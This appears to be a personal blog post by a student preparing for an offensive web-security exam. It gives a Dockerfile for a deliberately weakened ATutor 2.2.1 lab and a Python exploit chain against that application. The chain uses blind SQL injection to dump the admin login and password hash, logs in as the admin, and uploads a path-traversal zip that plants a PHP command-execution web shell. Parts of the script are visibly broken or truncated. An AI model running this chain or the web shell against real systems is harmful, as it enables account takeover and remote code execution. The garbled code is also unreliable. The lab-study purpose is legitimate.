web assessments

Need ATutor for AWAE?

I was fortunate enough to go through Offensive Security's Advanced Web Attacks and Exploitation course. However, since my lab time was limited, I found myself somewhat rushing through some of the modules to ensure I had enough time to work through the entire course materials provided. Now that my lab time is over, and with the exam scheduled and fast-approaching, I've been looking for ways to absorb new materials, but also reflect on what I've learned from the course.

Enter ATutor and the SQLi to RCE vulnerability found in one of the older versions of the application. I enjoyed working through these vulnerabilities manually, seeing how the code could be exploited. As mentioned in one of my previous posts, I think it's pretty awesome when you can chain together vulnerabilities like the one found here.

Docker Setup

Instead of trying to install the necessary requirements for ATutor to work, I wanted to use this as an opportunity to work on my Docker skills. I first found this Dockerfile, but then when building and running the application, found that none of my exploits were working. Damn updates to PHP were escaping my quotes used in the SQLi portion. So, I found this other Dockerfile, to rollback some of the PHP functionality. Then used this paper from ExploitDB to make PHP weak sauce and ultimately combined all this to end up with this file.

Note: this Dockerfile, while probably not optimal or efficient, will still create the intentionally vulnerable ATutor application; modify as needed for your setup/config

# - ref to make php weak sauce
# - first Dockerfile used
# - second Dockerfile used
# - needed files to make second Dockerfile portions work, clone repo and modify Dockefile to match below, then to create the image:
#    docker image build -t atutor .
# To run atutor
#    docker run -e MYSQL_ROOT_PASSWORD=rootpwd --name mysql -d mysql:5.6
#    docker run -p --name atutor -d atutor

FROM debian:jessie

# persistent / runtime deps
RUN apt-get update && apt-get install -y --no-install-recommends \
      ca-certificates \
      curl \
      librecode0 \
      libmysqlclient-dev \
      libsqlite3-0 \
      libxml2 \
    && apt-get clean \
    && rm -r /var/lib/apt/lists/*

# phpize deps
RUN apt-get update && apt-get install -y --no-install-recommends \
      autoconf \
      file \
      g++ \
      gcc \
      libc-dev \
      make \
      pkg-config \
      re2c \
    && apt-get clean \
    && rm -r /var/lib/apt/lists/*

RUN apt-get update && apt-get install -y apache2-bin apache2-dev apache2.2-common --no-install-recommends && rm -rf /var/lib/apt/lists/*

RUN rm -rf /var/www/html && mkdir -p /var/lock/apache2 /var/run/apache2 /var/log/apache2 /var/www/html && chown -R www-data:www-data /var/lock/apache2 /var/run/apache2 /var/log/apache2 /var/www/html

# Apache + PHP requires preforking Apache for best results
RUN a2dismod mpm_event && a2enmod mpm_prefork

RUN mv /etc/apache2/apache2.conf /etc/apache2/apache2.conf.dist
COPY apache2.conf /etc/apache2/apache2.conf

ENV PHP_INI_DIR /etc/php5/apache2
RUN mkdir -p $PHP_INI_DIR/conf.d


# php 5.3 needs older autoconf
# --enable-mysqlnd is included below because it's harder to compile after the fact the extensions are (since it's a plugin for several extensions, not an extension in itself)
RUN buildDeps=" \
                apache2-dev \
                autoconf2.13 \
                libcurl4-openssl-dev \
                libreadline6-dev \
                librecode-dev \
                libsqlite3-dev \
                libssl-dev \
                libxml2-dev \
                libpng-dev \
                xz-utils \
      " \
      && set -x \
      && apt-get update && apt-get install -y $buildDeps --no-install-recommends && rm -rf /var/lib/apt/lists/* \
      && curl -SL "$PHP_VERSION.tar.xz/from/this/mirror" -o php.tar.xz \
      && curl -SL "$PHP_VERSION.tar.xz.asc/from/this/mirror" -o php.tar.xz.asc \
      && mkdir -p /usr/src/php \
      && tar -xof php.tar.xz -C /usr/src/php --strip-components=1 \
      && rm php.tar.xz* \
      && cd /usr/src/php \
      && ./configure --disable-cgi \
            $(command -v apxs2 > /dev/null 2>&1 && echo '--with-apxs2=/usr/bin/apxs2' || true) \
            --with-config-file-path="$PHP_INI_DIR" \
            --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" \
            --enable-ftp \
            --enable-mbstring \
            --enable-mysqlnd \
            --with-mysql \
            --with-mysqli \
            --with-pdo-mysql \
            --with-curl \
            --enable-soap \
            --with-png \
            --with-gd \
            --with-readline \
            --with-recode \
            --with-zlib \
      && make -j"$(nproc)" \
      && make install \
      && { find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; } \
      && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false -o APT::AutoRemove::SuggestsImportant=false $buildDeps \
      && make clean

RUN echo "default_charset = " > $PHP_INI_DIR/php.ini \
    && echo "date.timezone = America/Sao_Paulo" >> $PHP_INI_DIR/php.ini

COPY docker-php-* /usr/local/bin/
COPY apache2-foreground /usr/local/bin/

# Configure PHP writing a custom php .ini
# ================================
RUN touch /var/log/php-errors.log; \
    echo "date.timezone=Europe/Rome" >> $PHP_INI_DIR/php.ini; \
    echo "display_errors = Off" >> $PHP_INI_DIR/php.ini; \
    echo "log_errors = On" >> $PHP_INI_DIR/php.ini; \
    echo "error_log = /dev/stdout" >> $PHP_INI_DIR/php.ini; \
    echo "safe_mode = off" >> $PHP_INI_DIR/php.ini; \
    echo "disabled_functions = N/A" >> $PHP_INI_DIR/php.ini; \
    echo "register_globals = on" >> $PHP_INI_DIR/php.ini; \
    echo "allow_url_include = on" >> $PHP_INI_DIR/php.ini; \
    echo "allow_url_fopen = on" >> $PHP_INI_DIR/php.ini; \
    echo "magic_quotes_gpc = off" >> $PHP_INI_DIR/php.ini; \
    echo "short_tag_open = on" >> $PHP_INI_DIR/php.ini; \ 
    echo "file_uploads = on" >> $PHP_INI_DIR/php.ini; \
    echo "display_errors = on" >> $PHP_INI_DIR/php.ini;

# needed to open .php5 files (for the file extension bypass)
RUN echo "AddType application/x-httpd-php .php .phtml .php5" >> /etc/apache2/mods-available/php.load;

RUN apt-get update; \
    apt-get install -y wget unzip; \
    docker-php-ext-install mysql;   

# Download and install ATutor
# ATutor-atutor_2_2_1 
# ===========================
RUN wget -O /tmp/ --quiet; \
    unzip /tmp/ -d /tmp; \
    rm -rf /var/www/html; \
    mv /tmp/ATutor-atutor_2_2_1 /var/www/html/; \
    touch /var/www/html/include/; \
    chmod a+rw -R /var/www/html/; \
    echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php; \
    rm /tmp/; \
    mkdir -p /var/lock/apache2 /var/run/apache2 /var/log/apache2 /var/www/html/content; \
    chown -R www-data:www-data /var/lock/apache2 /var/run/apache2 /var/log/apache2 /var/www/html;

WORKDIR /var/www/html

CMD ["apache2-foreground"]

Clone this repo to get the needed files, and then modify the Dockefile from the repo to match above. Run the following commands to build the images and containers:

docker image build -t atutor .
docker run -e MYSQL_ROOT_PASSWORD=rootpwd --name mysql -d mysql:5.6
docker run -p --name atutor -d atutor

The image build may take a min, so sit back and watch it build or do something else. Once the containers are up and running, navigate to in your browser and complete the installation process. Change the database from localhost to the IP address of your mysql container (might be something like


Without going into too much detail on source code analysis for the application, I wanted to mainly focus on building my exploit for this post. There are a few different references that you could follow to learn how this chain of vulnerabilities exist and can be exploited in ATutor.

For my exploit to work and reach that sought after RCE, my script had to do the following:

  1. use a SQLi to find an admin, and dump their credentials
  2. create a session as that user
  3. upload and install my payload in the form of a zip file
  4. trigger my payload to get RCE
import sys, hashlib, requests

proxies={'http': ''}

# find users
def searchFriends_sqli(ip, inj_str):
    for j in range(32, 126):
        # now we update the sqli
        target = "http://%s/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
        r = requests.get(target, proxies=proxies)
        #print r.headers
        content_length = int(r.headers['Content-Length'])
        if (content_length > 33):
            return j
    return None

# inject it
def inject(r, inj, ip):
    extracted = ""
    for i in range(1, r):
        injection_string = "test'/**/or/**/(ascii(substring((%s),%d,1)))=[CHAR]/**/or/**/1='" % (inj,i)
        retrieved_value = searchFriends_sqli(ip, injection_string)
            extracted += chr(retrieved_value)
            extracted_char = chr(retrieved_value)
    return extracted

def gen_hash(passwd, token):
    return hashlib.sha1(passwd.encode('utf-8') + token.encode('utf-8')).hexdigest()

def _build_zip():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/mods/noob/noob.php5', '''<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>''')
    z.writestr('imsmanifest.xml', 'invalid xml!')
    zip = open('','wb')

def main():

    if len(sys.argv) != 2:
        print "(+) usage: %s <target>" % sys.argv[0]
        print '(+) eg: %s' % sys.argv[0]

    ip = sys.argv[1]

    #   username = "eternalnoob"
    #   password = "d033e22ae348aeb5660fc2140aec35850c4da997"

    # first need to get the admin's creds in order to login
    print("[+] getting that admin hash....")
    print("[*] but first need that username...")
    query = 'select/**/login/**/from/**/AT_admins/**/where/**/privileges=1/**/limit/**/1'
    username = inject(50, query, ip)
    print("[*] now to get the hash for: " + username)
    query = 'select/**/password/**/from/**/AT_admins/**/where/**/login/**/=/**/\'%s\'' % (username)
    password = inject(50,query,ip)
    print("[+] creds found: " + username + ":" + password)

    target = "http://%s/login.php" % ip
    print("[*] trying to login as: " + username)
    token = "noob"
    hashed = gen_hash(password, token)
    login_data = {
        "form_password_hidden" : hashed,
        "form_login": username,
        "submit": "Login",
        "token" : token

    s = requests.Session()
    r =, data=login_data, proxies=proxies)
    res = r.text
    if "Create Course: My Start Page" in res or "My Courses: My Start Page" in res or "You have logged in successfully." in res:
        print("[+] success!")
        print("[-] failure!")

    print("[*] uploading payload...")
    upload_url = "http://%s/mods/_core/modules/install_modules.php" % ip
    s.get(upload_url) #, proxies=proxies)
    s.headers["Content-Type"] = "multipart/form-data; boundary=---------------------------313376112913480203923204572"
    payload = "-----------------------------313376112913480203923204572\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n52428800\r\n-----------------------------313376112913480203923204572\r\nContent-Disposition: form-data; name=\"modulefile\"; filename=\"\"\r\nContent-Type: application/zip\r\n\r\nPK\x03\x04\x14\x00\x00\x00\x08\x00j\xaa(Pp\x9f\xafbQ\x00\x00\x00k\x00\x00\x002\x00\x00\x00../../../../../var/www/html/mods/eternal/noob.php5\xb3\xb1/\xc8(P\xc8L\xd3\xc8,.N-\xd1P\x89\x0fr\r\x0cu\r\x0e\x89VO\xceMQ\x8f\xd5\xd4\xacNM\xce\xc8WP\xb2)(J\xb5S\xb2V\x01\x8a*\xd8*`\xaa\xb3.\xae,.I\xcd\xd5\x00)\xd0\xb4\x86\xea\xd1\x87hJ\xc9L\xb5\xae\xb5\xb7\x03\x00PK\x03\x04\x14\x00\x00\x00\x08\x00j\xaa(P\x8fw\xa8\xdc\x0e\x00\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x00imsmanifest.xml\xcb\xcc+K\xcc\xc9LQ\xa8\xc8\xcdQ\x04\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00j\xaa(Pp\x9f\xafbQ\x00\x00\x00k\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x00../../../../../var/www/html/mods/eternal/noob.php5PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00j\xaa(P\x8fw\xa8\xdc\x0e\x00\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\xa1\x00\x00\x00imsmanifest.xmlPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x9d\x00\x00\x00\xdc\x00\x00\x00\x00\x00\r\n-----------------------------313376112913480203923204572\r\nContent-Disposition: form-data; name=\"install_upload\"\r\n\r\nInstall\r\n-----------------------------313376112913480203923204572\r\nContent-Disposition: form-data; name=\"uploading\"\r\n\r\n1\r\n-----------------------------313376112913480203923204572--\r\n", data=payload) #, proxies=proxies)
    print("[+] payload uploaded")
    print("[*] visit: http://%s/mods/eternal/noob.php5?cmd=id" % ip)

if __name__ == "__main__":

PoC in Action

This screen grab shows the exploit in action. I started the recording after the exploit discovered the admin user and was almost done injecting to find the admin's password hash.

Note: how the exploit takes a bit of time to discover the correct character next in the sequence; this is due to the vulnerability being a blind injection (and my code isn't super optimized... but hey, it works!)


Leave a Reply

Your email address will not be published. Required fields are marked *

one × four =